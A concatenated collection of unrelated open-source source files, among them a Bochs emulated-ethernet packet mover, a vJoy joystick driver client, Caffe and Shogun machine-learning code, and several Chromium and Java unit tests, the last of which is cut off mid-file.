void rx_timer_handler(void *); void rx_timer(void); FILE *txlog, *txlog_txt; //Bit8u arpbuf[MAX_FRAME_SIZE]; //Bit32u buflen; //bx_bool bufvalid; //CRC_Generator mycrc; eth_ETHmaker packetmaker; }; // // Define the static class that registers the derived pktmover class, // and allocates one on request. // class bx_arpback_locator_c : public eth_locator_c { public: bx_arpback_locator_c(void) : eth_locator_c("arpback") {} protected: eth_pktmover_c *allocate(const char *netif, const char *macaddr, eth_rx_handler_t rxh, void *rxarg, char *script) { return (new bx_arpback_pktmover_c(netif, macaddr, rxh, rxarg, script)); } } bx_arpback_match; // // Define the methods for the bx_arpback_pktmover derived class // // the constructor bx_arpback_pktmover_c::bx_arpback_pktmover_c(const char *netif, const char *macaddr, eth_rx_handler_t rxh, void *rxarg, char *script) { this->rx_timer_index = bx_pc_system.register_timer(this, this->rx_timer_handler, 1000, 1, 1, "eth_arpback"); // continuous, active this->rxh = rxh; this->rxarg = rxarg; //bufvalid=0; packetmaker.init(); #if BX_ETH_NULL_LOGGING // Start the rx poll // eventually Bryce wants txlog to dump in pcap format so that // tcpdump -r FILE can read it and interpret packets. txlog = fopen ("ne2k-tx.log", "wb"); if (!txlog) BX_PANIC (("open ne2k-tx.log failed")); txlog_txt = fopen ("ne2k-txdump.txt", "wb"); if (!txlog_txt) BX_PANIC (("open ne2k-txdump.txt failed")); fprintf (txlog_txt, "arpback packetmover readable log file\n"); fprintf (txlog_txt, "net IF = %s\n", netif); fprintf (txlog_txt, "MAC address = "); for (int i=0; i<6; i++) fprintf (txlog_txt, "%02x%s", 0xff & macaddr[i], i<5?":" : ""); fprintf (txlog_txt, "\n--\n"); fflush (txlog_txt); #endif } void bx_arpback_pktmover_c::sendpkt(void *buf, unsigned io_len) { if(io_len<BX_PACKET_BUFSIZE) { eth_packet barney; memcpy(barney.buf,buf,io_len); barney.len=io_len; if(packetmaker.ishandler(barney)) { packetmaker.sendpacket(barney); } /* if(( (!memcmp(buf, external_mac, 6)) || (!memcmp(buf, broadcast_macaddr, 6)) ) && (!memcmp(((Bit8u *)buf)+12, ethtype_arp, 2)) ) { Bit32u tempcrc; memcpy(arpbuf,buf,io_len); //move to temporary buffer memcpy(arpbuf, arpbuf+6, 6); //set destination to sender memcpy(arpbuf+6, external_mac, 6); //set sender to us memcpy(arpbuf+32, arpbuf+22, 10); //move destination to sender memcpy(arpbuf+22, external_mac, 6); //set sender to us memcpy(arpbuf+28, external_ip, 4); //set sender to us arpbuf[21]=2; //make this a reply and not a request tempcrc=mycrc.get_CRC(arpbuf,io_len); memcpy(arpbuf+io_len, &tempcrc, 4); buflen=io_len;//+4 bufvalid=1; } */ } #if BX_ETH_NULL_LOGGING BX_DEBUG (("sendpkt length %u", io_len)); // dump raw bytes to a file, eventually dump in pcap format so that // tcpdump -r FILE can interpret them for us. int n = fwrite (buf, io_len, 1, txlog); if (n != 1) BX_ERROR (("fwrite to txlog failed, length %u", io_len)); // dump packet in hex into an ascii log file fprintf (txlog_txt, "NE2K transmitting a packet, length %u\n", io_len); Bit8u *charbuf = (Bit8u *)buf; for (n=0; n<(int)io_len; n++) { if (((n % 16) == 0) && n>0) fprintf (txlog_txt, "\n"); fprintf (txlog_txt, "%02x ", charbuf[n]); } fprintf (txlog_txt, "\n--\n"); // flush log so that we see the packets as they arrive w/o buffering fflush (txlog); fflush (txlog_txt); #endif } void bx_arpback_pktmover_c::rx_timer_handler (void * this_ptr) { #if BX_ETH_NULL_LOGGING BX_DEBUG (("rx_timer_handler")); #endif bx_arpback_pktmover_c *class_ptr = ((bx_arpback_pktmover_c *)this_ptr); class_ptr->rx_timer(); } void bx_arpback_pktmover_c::rx_timer (void) { //int nbytes = 0; //struct bpf_hdr *bhdr; eth_packet rubble; if(packetmaker.getpacket(rubble)) { //bufvalid=0; void * buf=rubble.buf; unsigned io_len=rubble.len; Bit32u n; fprintf (txlog_txt, "NE2K receiving a packet, length %u\n", io_len); Bit8u *charbuf = (Bit8u *)buf; for (n=0; n<io_len; n++) { if (((n % 16) == 0) && n>0) fprintf (txlog_txt, "\n"); fprintf (txlog_txt, "%02x ", charbuf[n]); } fprintf (txlog_txt, "\n--\n"); fflush (txlog_txt); (*rxh)(rxarg, buf, io_len); } } #endif /* if BX_NETWORKING && defined(ETH_ARPBACK) */
2,856
656
# Generated by Django 2.2.5 on 2019-11-18 23:16 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('part', '0024_auto_20191118_2139'), ] operations = [ migrations.AlterField( model_name='part', name='units', field=models.CharField(blank=True, default='', help_text='Stock keeping units for this part', max_length=20), ), ]
193
881
<filename>gcloud/clocked_task/permissions.py # -*- coding: utf-8 -*- """ Tencent is pleased to support the open source community by making 蓝鲸智云PaaS平台社区版 (BlueKing PaaS Community Edition) available. Copyright (C) 2017-2021 THL A29 Limited, a Tencent company. All rights reserved. Licensed under the MIT License (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://opensource.org/licenses/MIT Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ from gcloud.core.apis.drf.viewsets import IAMMixin from gcloud.iam_auth import get_iam_client, res_factory, IAMMeta from rest_framework import permissions iam = get_iam_client() class ClockedTaskPermissions(IAMMixin, permissions.BasePermission): actions = { "list": IAMMeta.PROJECT_VIEW_ACTION, "create": IAMMeta.FLOW_CREATE_CLOCKED_TASK_ACTION, "update": IAMMeta.CLOCKED_TASK_EDIT_ACTION, "partial_update": IAMMeta.CLOCKED_TASK_EDIT_ACTION, "retrieve": IAMMeta.CLOCKED_TASK_VIEW_ACTION, "destroy": IAMMeta.CLOCKED_TASK_DELETE_ACTION, } def has_permission(self, request, view): if view.action == "list": if "project_id" not in request.query_params: return False self.iam_auth_check( request, action=self.actions[view.action], resources=res_factory.resources_for_project(request.query_params["project_id"]), ) elif view.action == "create": template_id = request.data.get("template_id") self.iam_auth_check( request, action=self.actions[view.action], resources=res_factory.resources_for_flow(template_id), ) return True def has_object_permission(self, request, view, obj): if view.action in self.actions: self.iam_auth_check( request, action=self.actions[view.action], resources=res_factory.resources_for_clocked_task_obj(obj) ) return True
927
15,179
import pytest from jina import Flow num_calls = 0 @pytest.fixture(scope='function', autouse=True) def patched_path_import(mocker): from jina.importer import _path_import def _wrapped_path_import(absolute_path: str): global num_calls num_calls += 1 assert num_calls < 2 return _path_import(absolute_path) mocker.patch( 'jina.importer._path_import', new_callable=lambda: _wrapped_path_import ) def test_single_import(patched_path_import): flow = Flow().add( uses='ExecutorImportedOnce', py_modules=['executors/executor_fails_import_twice.py'], ) with flow: pass def test_single_import_metas(patched_path_import): flow = Flow().add( uses='ExecutorImportedOnce', uses_metas=dict(py_modules=['executors/executor_fails_import_twice.py']), ) with flow: pass
386
1,081
#ifndef L1_LOSS_LAYER_HPP_ #define L1_LOSS_LAYER_HPP_ #include <vector> #include "caffe/blob.hpp" #include "caffe/layer.hpp" #include "caffe/proto/caffe.pb.h" #include "caffe/layers/loss_layer.hpp" #include "caffe/layers/eltwise_layer.hpp" #include "caffe/layers/power_layer.hpp" #include "caffe/layers/conv_layer.hpp" namespace caffe { /** * L1 loss by Alexey */ //Forward declare template <typename Dtype> class ConvolutionLayer; template <typename Dtype> class EltwiseLayer; template <typename Dtype> class L1LossLayer : public LossLayer<Dtype> { public: explicit L1LossLayer(const LayerParameter& param) : LossLayer<Dtype>(param), sign_() {} virtual void LayerSetUp(const vector<Blob<Dtype>*>& bottom, const vector<Blob<Dtype>*>& top); virtual void Reshape(const vector<Blob<Dtype>*>& bottom, const vector<Blob<Dtype>*>& top); virtual inline const char* type() const { return "L1Loss"; } virtual inline bool AllowForceBackward(const int bottom_index) const { return true; } virtual inline int ExactNumBottomBlobs() const { return -1; } virtual inline int MinBottomBlobs() const { return 1; } virtual inline int MaxBottomBlobs() const { return 2; } protected: /// @copydoc L1LossLayer virtual void Forward_cpu(const vector<Blob<Dtype>*>& bottom, const vector<Blob<Dtype>*>& top); virtual void Forward_gpu(const vector<Blob<Dtype>*>& bottom, const vector<Blob<Dtype>*>& top); virtual void Backward_cpu(const vector<Blob<Dtype>*>& top, const vector<bool>& propagate_down, const vector<Blob<Dtype>*>& bottom); virtual void Backward_gpu(const vector<Blob<Dtype>*>& top, const vector<bool>& propagate_down, const vector<Blob<Dtype>*>& bottom); Blob<Dtype> sign_, mask_, plateau_l2_; float scale_; Dtype normalize_coeff_; // Extra layers to do the dirty work using already implemented stuff shared_ptr<EltwiseLayer<Dtype> > diff_layer_; Blob<Dtype> diff_; vector<Blob<Dtype>*> diff_top_vec_; shared_ptr<PowerLayer<Dtype> > square_layer_; Blob<Dtype> square_output_; vector<Blob<Dtype>*> square_top_vec_; shared_ptr<ConvolutionLayer<Dtype> > sum_layer_; Blob<Dtype> sum_output_; vector<Blob<Dtype>*> sum_top_vec_; shared_ptr<PowerLayer<Dtype> > sqrt_layer_; Blob<Dtype> sqrt_output_; vector<Blob<Dtype>*> sqrt_top_vec_; }; } // namespace caffe #endif // L1_LOSS_LAYER_HPP_
951
2,753
/* * This software is distributed under BSD 3-clause license (see LICENSE file). * * Authors: <NAME>, <NAME> */ #include <shogun/lib/common.h> #include <shogun/distance/ManhattanWordDistance.h> #include <shogun/features/Features.h> #include <shogun/features/StringFeatures.h> #include <shogun/io/SGIO.h> using namespace shogun; ManhattanWordDistance::ManhattanWordDistance() : StringDistance<uint16_t>() { SG_DEBUG("CManhattanWordDistance created") } ManhattanWordDistance::ManhattanWordDistance( const std::shared_ptr<StringFeatures<uint16_t>>& l, const std::shared_ptr<StringFeatures<uint16_t>>& r) : StringDistance<uint16_t>() { SG_DEBUG("CManhattanWordDistance created") init(l, r); } ManhattanWordDistance::~ManhattanWordDistance() { cleanup(); } bool ManhattanWordDistance::init(std::shared_ptr<Features> l, std::shared_ptr<Features> r) { bool result=StringDistance<uint16_t>::init(l,r); return result; } void ManhattanWordDistance::cleanup() { } float64_t ManhattanWordDistance::compute(int32_t idx_a, int32_t idx_b) { int32_t alen, blen; bool free_avec, free_bvec; uint16_t* avec=(std::static_pointer_cast<StringFeatures<uint16_t>>(lhs))-> get_feature_vector(idx_a, alen, free_avec); uint16_t* bvec=(std::static_pointer_cast<StringFeatures<uint16_t>>(rhs))-> get_feature_vector(idx_b, blen, free_bvec); int32_t result=0; int32_t left_idx=0; int32_t right_idx=0; while (left_idx < alen && right_idx < blen) { uint16_t sym=avec[left_idx]; if (avec[left_idx]==bvec[right_idx]) { int32_t old_left_idx=left_idx; int32_t old_right_idx=right_idx; while (left_idx< alen && avec[left_idx]==sym) left_idx++; while (right_idx< blen && bvec[right_idx]==sym) right_idx++; result += Math::abs( (left_idx-old_left_idx) - (right_idx-old_right_idx) ); } else if (avec[left_idx]<bvec[right_idx]) { while (left_idx< alen && avec[left_idx]==sym) { result++; left_idx++; } } else { sym=bvec[right_idx]; while (right_idx< blen && bvec[right_idx]==sym) { result++; right_idx++; } } } result+=blen-right_idx + alen-left_idx; (std::static_pointer_cast<StringFeatures<uint16_t>>(lhs))-> free_feature_vector(avec, idx_a, free_avec); (std::static_pointer_cast<StringFeatures<uint16_t>>(rhs))-> free_feature_vector(bvec, idx_b, free_bvec); return result; }
1,035
965
class CCustomDialog : public CDialog { CEdit m_edit; virtual BOOL OnInitDialog(); };
32
575
<gh_stars>100-1000 // Copyright 2020 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef CHROMEOS_SERVICES_NEARBY_PUBLIC_CPP_FAKE_NEARBY_PROCESS_MANAGER_H_ #define CHROMEOS_SERVICES_NEARBY_PUBLIC_CPP_FAKE_NEARBY_PROCESS_MANAGER_H_ #include <memory> #include "base/callback.h" #include "base/containers/flat_map.h" #include "base/memory/weak_ptr.h" #include "base/unguessable_token.h" #include "chromeos/services/nearby/public/cpp/nearby_process_manager.h" namespace chromeos { namespace nearby { class MockNearbyConnections; class MockNearbySharingDecoder; class FakeNearbyProcessManager : public NearbyProcessManager { public: FakeNearbyProcessManager(); ~FakeNearbyProcessManager() override; size_t GetNumActiveReferences() const; void SimulateProcessStopped(NearbyProcessShutdownReason shutdown_reason); // Return null if there are no active references. const MockNearbyConnections* active_connections() const { return active_connections_.get(); } const MockNearbySharingDecoder* active_decoder() const { return active_decoder_.get(); } // NearbyProcessManager: std::unique_ptr<NearbyProcessReference> GetNearbyProcessReference( NearbyProcessStoppedCallback on_process_stopped_callback) override; private: class FakeNearbyProcessReference : public NearbyProcessManager::NearbyProcessReference { public: FakeNearbyProcessReference( const mojo::SharedRemote< location::nearby::connections::mojom::NearbyConnections>& connections, const mojo::SharedRemote<sharing::mojom::NearbySharingDecoder>& decoder, base::OnceClosure destructor_callback); ~FakeNearbyProcessReference() override; private: // NearbyProcessManager::NearbyProcessReference: const mojo::SharedRemote< location::nearby::connections::mojom::NearbyConnections>& GetNearbyConnections() const override; const mojo::SharedRemote<sharing::mojom::NearbySharingDecoder>& GetNearbySharingDecoder() const override; mojo::SharedRemote<location::nearby::connections::mojom::NearbyConnections> connections_; mojo::SharedRemote<sharing::mojom::NearbySharingDecoder> decoder_; base::OnceClosure destructor_callback_; }; // KeyedService: void Shutdown() override; void OnReferenceDeleted(const base::UnguessableToken& reference_id); // Map which stores callbacks to be invoked if the Nearby process shuts down // unexpectedly, before clients release their references. base::flat_map<base::UnguessableToken, NearbyProcessStoppedCallback> id_to_process_stopped_callback_map_; // Null if no outstanding references exist. std::unique_ptr<MockNearbyConnections> active_connections_; std::unique_ptr<MockNearbySharingDecoder> active_decoder_; // Unbound if no outstanding references exist. mojo::SharedRemote<location::nearby::connections::mojom::NearbyConnections> connections_remote_; mojo::SharedRemote<sharing::mojom::NearbySharingDecoder> decoder_remote_; base::WeakPtrFactory<FakeNearbyProcessManager> weak_ptr_factory_{this}; }; } // namespace nearby } // namespace chromeos #endif // CHROMEOS_SERVICES_NEARBY_PUBLIC_CPP_FAKE_NEARBY_PROCESS_MANAGER_H_
1,123
2,151
<reponame>zipated/src // Copyright 2018 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "components/cryptauth/remote_device_ref.h" #include <memory> #include "base/macros.h" #include "components/cryptauth/remote_device.h" #include "testing/gtest/include/gtest/gtest.h" namespace cryptauth { class RemoteDeviceRefTest : public testing::Test { protected: RemoteDeviceRefTest() = default; // testing::Test: void SetUp() override { std::map<cryptauth::SoftwareFeature, cryptauth::SoftwareFeatureState> software_feature_to_state_map; software_feature_to_state_map [cryptauth::SoftwareFeature::BETTER_TOGETHER_CLIENT] = cryptauth::SoftwareFeatureState::kSupported; software_feature_to_state_map [cryptauth::SoftwareFeature::BETTER_TOGETHER_HOST] = cryptauth::SoftwareFeatureState::kEnabled; remote_device_ = std::make_shared<RemoteDevice>( "user_id", "name", "public_key", "persistent_symmetric_key", true /* unlock_key */, true /* supports_mobile_hotspot */, 42000 /* last_update_time_millis */, software_feature_to_state_map /* software_features */); remote_device_->LoadBeaconSeeds({BeaconSeed(), BeaconSeed()}); } std::shared_ptr<RemoteDevice> remote_device_; DISALLOW_COPY_AND_ASSIGN(RemoteDeviceRefTest); }; TEST_F(RemoteDeviceRefTest, TestFields) { RemoteDeviceRef remote_device_ref(remote_device_); EXPECT_EQ(remote_device_->user_id, remote_device_ref.user_id()); EXPECT_EQ(remote_device_->name, remote_device_ref.name()); EXPECT_EQ(remote_device_->public_key, remote_device_ref.public_key()); EXPECT_EQ(remote_device_->persistent_symmetric_key, remote_device_ref.persistent_symmetric_key()); EXPECT_EQ(remote_device_->unlock_key, remote_device_ref.unlock_key()); EXPECT_EQ(remote_device_->supports_mobile_hotspot, remote_device_ref.supports_mobile_hotspot()); EXPECT_EQ(remote_device_->last_update_time_millis, remote_device_ref.last_update_time_millis()); EXPECT_EQ(&remote_device_->beacon_seeds, &remote_device_ref.beacon_seeds()); EXPECT_EQ(cryptauth::SoftwareFeatureState::kNotSupported, remote_device_ref.GetSoftwareFeatureState( cryptauth::SoftwareFeature::MAGIC_TETHER_CLIENT)); EXPECT_EQ(cryptauth::SoftwareFeatureState::kSupported, remote_device_ref.GetSoftwareFeatureState( cryptauth::SoftwareFeature::BETTER_TOGETHER_CLIENT)); EXPECT_EQ(cryptauth::SoftwareFeatureState::kEnabled, remote_device_ref.GetSoftwareFeatureState( cryptauth::SoftwareFeature::BETTER_TOGETHER_HOST)); EXPECT_EQ(remote_device_->GetDeviceId(), remote_device_ref.GetDeviceId()); EXPECT_EQ( RemoteDeviceRef::TruncateDeviceIdForLogs(remote_device_->GetDeviceId()), remote_device_ref.GetTruncatedDeviceIdForLogs()); } TEST_F(RemoteDeviceRefTest, TestCopyAndAssign) { RemoteDeviceRef remote_device_ref_1(remote_device_); RemoteDeviceRef remote_device_ref_2 = remote_device_ref_1; EXPECT_EQ(remote_device_ref_2, remote_device_ref_1); RemoteDeviceRef remote_device_ref_3(remote_device_ref_1); EXPECT_EQ(remote_device_ref_3, remote_device_ref_1); } } // namespace cryptauth
1,286
432
<filename>apps/vJoyFeeder/vJoyClient.cpp ////////////////////////////////////////////////////////////////////////////////////////// // Logical layer between vJoyInterface.dll and the application (vJoyDemo) // // It is assumed that the application does not open more than one VJD for writing. // The handle to this device is a global paramete hDevice // // // Registration: // Registeres the application main window to receive notification from vJoy driver when PNP operation is underway // This anables the application to close the handle to the device when the device is goind down and (optionally) to // re-connect when it goes up again. // Functions: // - RegistervJoyNotification(): Every time an interface of type GUID_DEVINTERFACE_VJOY is enables/disabled. // - RegisterHandleNotification(): Every time the system tries to remove the device to which the application has an open handle // // Access to vJoy Device (VJD) // It is assumed that there is one device open at a time (at most). // The global parameter (hDevice) holdes a handle to this device or hDevice = INVALID_HANDLE_VALUE if none is open // Functions: // - GetJoystickHandle() // - openDevice() // - CloseJoystickDevice() // - ReopenJoystickDevice() // // Writing position data to open VJD is done by calling update_device(). // // ////////////////////////////////////////////////////////////////////////////////////////// #include "stdafx.h" #include <malloc.h> #include "vjoyclient.h" // Global HANDLE hDevice = INVALID_HANDLE_VALUE; HDEVNOTIFY RegistervJoyNotification(HWND hWin) // Register event to catch changes in vJoy device interfaces // Every time an interface of type GUID_DEVINTERFACE_VJOY is enables/disabled // the window procedure(WndProc) will receive a window message WM_DEVICECHANGE // Since vJoy device have 16 such interfaces - this message will be sen 16 times, // every time the raw-PDO device is added or removed. // Notes: // 1. Remember to un-register handle by calling UnregisterDeviceNotification() // 2. (???) You can register interface even when vJoy not installed // 3. Need some modifications if to be used with a Service { HDEVNOTIFY hDeviceNotifyInterFace = NULL; GUID InterfaceClassGuid = GUID_DEVINTERFACE_VJOY; DEV_BROADCAST_DEVICEINTERFACE NotificationFilter; ZeroMemory( &NotificationFilter, sizeof(NotificationFilter) ); NotificationFilter.dbcc_size = sizeof(DEV_BROADCAST_DEVICEINTERFACE); NotificationFilter.dbcc_devicetype = DBT_DEVTYP_DEVICEINTERFACE; NotificationFilter.dbcc_classguid = InterfaceClassGuid; hDeviceNotifyInterFace = RegisterDeviceNotification( hWin, // events recipient &NotificationFilter, // type of device DEVICE_NOTIFY_WINDOW_HANDLE /* type of recipient handle*/ ); return hDeviceNotifyInterFace; } HDEVNOTIFY RegisterHandleNotification(HWND hWin) { HDEVNOTIFY hDeviceNotifyHandle = NULL; DEV_BROADCAST_HANDLE NotificationFilterHandle; ZeroMemory( &NotificationFilterHandle, sizeof(NotificationFilterHandle) ); NotificationFilterHandle.dbch_size = sizeof(DEV_BROADCAST_HANDLE); NotificationFilterHandle.dbch_devicetype = DBT_DEVTYP_HANDLE; HANDLE hJoystickHandle = GetJoystickHandle(); if (hJoystickHandle != INVALID_HANDLE_VALUE) { NotificationFilterHandle.dbch_handle = GetJoystickHandle(); hDeviceNotifyHandle = RegisterDeviceNotification( hWin, // events recipient &NotificationFilterHandle, // type of device DEVICE_NOTIFY_WINDOW_HANDLE /* type of recipient handle*/ ); }; return hDeviceNotifyHandle; } HANDLE GetJoystickHandle(void) { return hDevice; } BOOL openDevice(UINT iInterFace) // ---------------------------------------------------------------------------------------------------------- \\ // Opens vJoy device for writing // Returns a valid handle to the device if the device is responsive // If handle already open - NO-OP { //// NO-OP //if (hDevice && hDevice != INVALID_HANDLE_VALUE) // return TRUE; //// Open //hDevice = OpenVJD(iInterFace); //if (hDevice == INVALID_HANDLE_VALUE) // return FALSE; //else return TRUE; } BOOL CloseJoystickDevice(void) { if (hDevice == INVALID_HANDLE_VALUE) return TRUE; BOOL out = CloseHandle(hDevice); if (out) hDevice = INVALID_HANDLE_VALUE; return out; } //void ReopenJoystickDevice(void) ///* Reopen handle to device if nor already open */ // //{ // if (hDevice != INVALID_HANDLE_VALUE) // return; // // hDevice = CreateFileA(DOS_FILE_NAME, GENERIC_WRITE | GENERIC_READ, FILE_SHARE_WRITE | FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); //} DWORD GetErrorString(TCHAR * Msg, int Size) { TCHAR * s; DWORD errorcode = GetLastError(); int nTChars = FormatMessageA(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM, NULL, errorcode, 0, (LPSTR)&s, 0, (va_list*)NULL); if (!nTChars) return errorcode; _tcsncpy_s(Msg, Size, s, Size); LocalFree(s); return errorcode; } BOOL isInstalled(void) // ---------------------------------------------------------------------------------------------------------- \\ // Tests if vJoy device is installed // This call to the system requests installation information for the device by its ID (GUID_DEVINTERFACE_VJOY) // It does not tests its functionality and it does not care if it is disabled. { HDEVINFO hDeviceInfo; hDeviceInfo = SetupDiGetClassDevs(&GUID_DEVINTERFACE_VJOY, NULL, NULL, DIGCF_PRESENT | DIGCF_INTERFACEDEVICE); if (hDeviceInfo == INVALID_HANDLE_VALUE) { //GetErrorString(ErrMsg,1000); //_tprintf(_T("[E] SetupDiGetClassDevs failed with error: %s\n"), ErrMsg); return FALSE; } else return TRUE; } BOOL getDeviceAttrib(TCHAR * Msg) // ---------------------------------------------------------------------------------------------------------- \\ // Get the driver attributes (Vendor ID, Product ID, Version Number) { int res = 1; if (!Msg) return FALSE; PWSTR Product = (PWSTR)GetvJoyProductString(); PWSTR Manufacturer = (PWSTR)GetvJoyManufacturerString(); PWSTR SerialNumber = (PWSTR)GetvJoySerialNumberString(); USHORT version = GetvJoyVersion(); if (!version) { _stprintf_s(Msg, MSG_SIZE, _T("Failed\r\nvJoy is probably disabled or uninstalled")); return FALSE; } else { if (!Product) _stprintf_s(Msg, MSG_SIZE, _T("VendorID:0x%04X ProductID:0x%04X VersionNumber:0x%04X\r\n"), VENDOR_N_ID, PRODUCT_N_ID, version); else _stprintf_s(Msg, MSG_SIZE, _T("Product ID: %S, Manufacturer ID: %S, Serial Number: %S\r\nVendorID:0x%04X ProductID:0x%04X VersionNumber:0x%04X"),Product, Manufacturer, SerialNumber, VENDOR_N_ID, PRODUCT_N_ID, version); return TRUE; }; } void update_device(JOYSTICK_POSITION_V2 * iReport) // ---------------------------------------------------------------------------------------------------------- \\ // Update vJoy device position data // Position includes Axes, Buttons and one POV hat switch // Input: Pointer to data structure { PVOID pPositionMessage; UINT IoCode = LOAD_POSITIONS; UINT IoSize = sizeof(JOYSTICK_POSITION_V2); ULONG bytes; // Sanity check if (!iReport) return; // Buffer hoding the joystick position (iReport) is ready // Cast it to PVOID pPositionMessage = (PVOID)(iReport); // Send joystick position structure to vJoy device DeviceIoControl (hDevice, IoCode, pPositionMessage, IoSize, NULL, 0, &bytes, NULL); }
2,421
918
<reponame>yogi1324/gobblin<gh_stars>100-1000 /* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.apache.gobblin.service.modules.flowgraph.datanodes; import org.junit.Assert; import org.testng.annotations.Test; import com.typesafe.config.Config; import com.typesafe.config.ConfigFactory; import com.typesafe.config.ConfigValueFactory; import org.apache.gobblin.service.modules.flowgraph.DataNode; import org.apache.gobblin.service.modules.flowgraph.FlowGraphConfigurationKeys; import org.apache.gobblin.util.ConfigUtils; public class HttpDataNodeTest { @Test public void testConfig() throws DataNode.DataNodeCreationException { String expectedNodeId = "some-node-id"; String expectedHttpDomain = "https://a.b.c"; String expectedHttpAuthType = "oauth"; Config config = ConfigFactory.empty() .withValue(FlowGraphConfigurationKeys.DATA_NODE_ID_KEY, ConfigValueFactory.fromAnyRef(expectedNodeId)) .withValue(FlowGraphConfigurationKeys.DATA_NODE_HTTP_DOMAIN_KEY, ConfigValueFactory.fromAnyRef(expectedHttpDomain)) .withValue(FlowGraphConfigurationKeys.DATA_NODE_HTTP_AUTHENTICATION_TYPE_KEY, ConfigValueFactory.fromAnyRef(expectedHttpAuthType)); HttpDataNode node = new HttpDataNode(config); // Verify the node id String id = node.getId(); Assert.assertTrue(id.equals(expectedNodeId)); Config rawConfig = node.getRawConfig(); String httpDomain = ConfigUtils.getString(rawConfig, FlowGraphConfigurationKeys.DATA_NODE_HTTP_DOMAIN_KEY, ""); String httpAuthType = ConfigUtils.getString(rawConfig, FlowGraphConfigurationKeys.DATA_NODE_HTTP_AUTHENTICATION_TYPE_KEY, ""); // Verify config saved to the node successfully Assert.assertTrue(httpDomain.equals(expectedHttpDomain)); Assert.assertTrue(httpAuthType.equals(expectedHttpAuthType)); } }
781
2,151
<reponame>zipated/src<gh_stars>1000+ // Copyright 2017 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include <string> #include "base/command_line.h" #include "base/location.h" #include "base/path_service.h" #include "base/run_loop.h" #include "base/single_thread_task_runner.h" #include "base/strings/string_util.h" #include "base/strings/utf_string_conversions.h" #include "base/threading/thread_task_runner_handle.h" #include "chrome/browser/chrome_notification_types.h" #include "chrome/browser/chromeos/login/login_manager_test.h" #include "chrome/browser/chromeos/login/startup_utils.h" #include "chrome/browser/chromeos/login/test/js_checker.h" #include "chrome/browser/chromeos/login/test/oobe_screen_waiter.h" #include "chrome/browser/chromeos/login/ui/login_display_host_webui.h" #include "chrome/browser/chromeos/login/wizard_controller.h" #include "chrome/browser/chromeos/settings/stub_install_attributes.h" #include "chrome/browser/ui/webui/chromeos/login/signin_screen_handler.h" #include "chrome/common/chrome_paths.h" #include "chrome/grit/generated_resources.h" #include "chrome/test/base/in_process_browser_test.h" #include "chrome/test/base/interactive_test_utils.h" #include "chromeos/chromeos_paths.h" #include "chromeos/chromeos_switches.h" #include "chromeos/dbus/dbus_thread_manager.h" #include "chromeos/dbus/fake_auth_policy_client.h" #include "chromeos/dbus/fake_cryptohome_client.h" #include "chromeos/login/auth/authpolicy_login_helper.h" #include "components/account_id/account_id.h" #include "components/user_manager/user_names.h" #include "content/public/test/browser_test_utils.h" #include "content/public/test/test_utils.h" #include "ui/base/l10n/l10n_util.h" #include "ui/gfx/geometry/test/rect_test_util.h" using ::gfx::test::RectContains; namespace chromeos { namespace { const char kPassword[] = "password"; constexpr char kAdOfflineAuthId[] = "offline-ad-auth"; constexpr char kAdMachineName[] = "machine_name"; constexpr char kTestActiveDirectoryUser[] = "test-user"; constexpr char kTestUserRealm[] = "user.realm"; constexpr char kAdMachineInput[] = "machineNameInput"; constexpr char kAdMoreOptionsButton[] = "moreOptionsBtn"; constexpr char kAdUserInput[] = "userInput"; constexpr char kAdPasswordInput[] = "passwordInput"; constexpr char kAdButton[] = "button"; constexpr char kAdWelcomMessage[] = "welcomeMsg"; constexpr char kAdAutocompleteRealm[] = "userInput /deep/ #domainLabel"; constexpr char kAdPasswordChangeId[] = "ad-password-change"; constexpr char kAdAnimatedPages[] = "animatedPages"; constexpr char kAdOldPasswordInput[] = "oldPassword"; constexpr char kAdNewPassword1Input[] = "<PASSWORD>"; constexpr char kAdNewPassword2Input[] = "<PASSWORD>2"; constexpr char kNewPassword[] = "<PASSWORD>"; constexpr char kDifferentNewPassword[] = "<PASSWORD>_<PASSWORD>_password"; constexpr char kDMToken[] = "dm_token"; constexpr char kCloseButtonId[] = "closeButton"; class TestAuthPolicyClient : public FakeAuthPolicyClient { public: TestAuthPolicyClient() { FakeAuthPolicyClient::set_started(true); } void AuthenticateUser(const authpolicy::AuthenticateUserRequest& request, int password_fd, AuthCallback callback) override { authpolicy::ActiveDirectoryAccountInfo account_info; if (auth_error_ == authpolicy::ERROR_NONE) { if (request.account_id().empty()) { account_info.set_account_id( base::MD5String(request.user_principal_name())); } else { account_info.set_account_id(request.account_id()); } } base::SequencedTaskRunnerHandle::Get()->PostNonNestableTask( FROM_HERE, base::BindOnce(std::move(callback), auth_error_, account_info)); } private: DISALLOW_COPY_AND_ASSIGN(TestAuthPolicyClient); }; class ActiveDirectoryLoginTest : public LoginManagerTest { public: ActiveDirectoryLoginTest() : LoginManagerTest(true), // Using the same realm as supervised user domain. Should be treated as // normal realm. test_realm_(user_manager::kSupervisedUserDomain), autocomplete_realm_(test_realm_) {} ~ActiveDirectoryLoginTest() override = default; void SetUp() override { SetupTestAuthPolicyClient(); LoginManagerTest::SetUp(); } void SetUpInProcessBrowserTestFixture() override { LoginManagerTest::SetUpInProcessBrowserTestFixture(); base::FilePath user_data_dir; ASSERT_TRUE(base::PathService::Get(chrome::DIR_USER_DATA, &user_data_dir)); 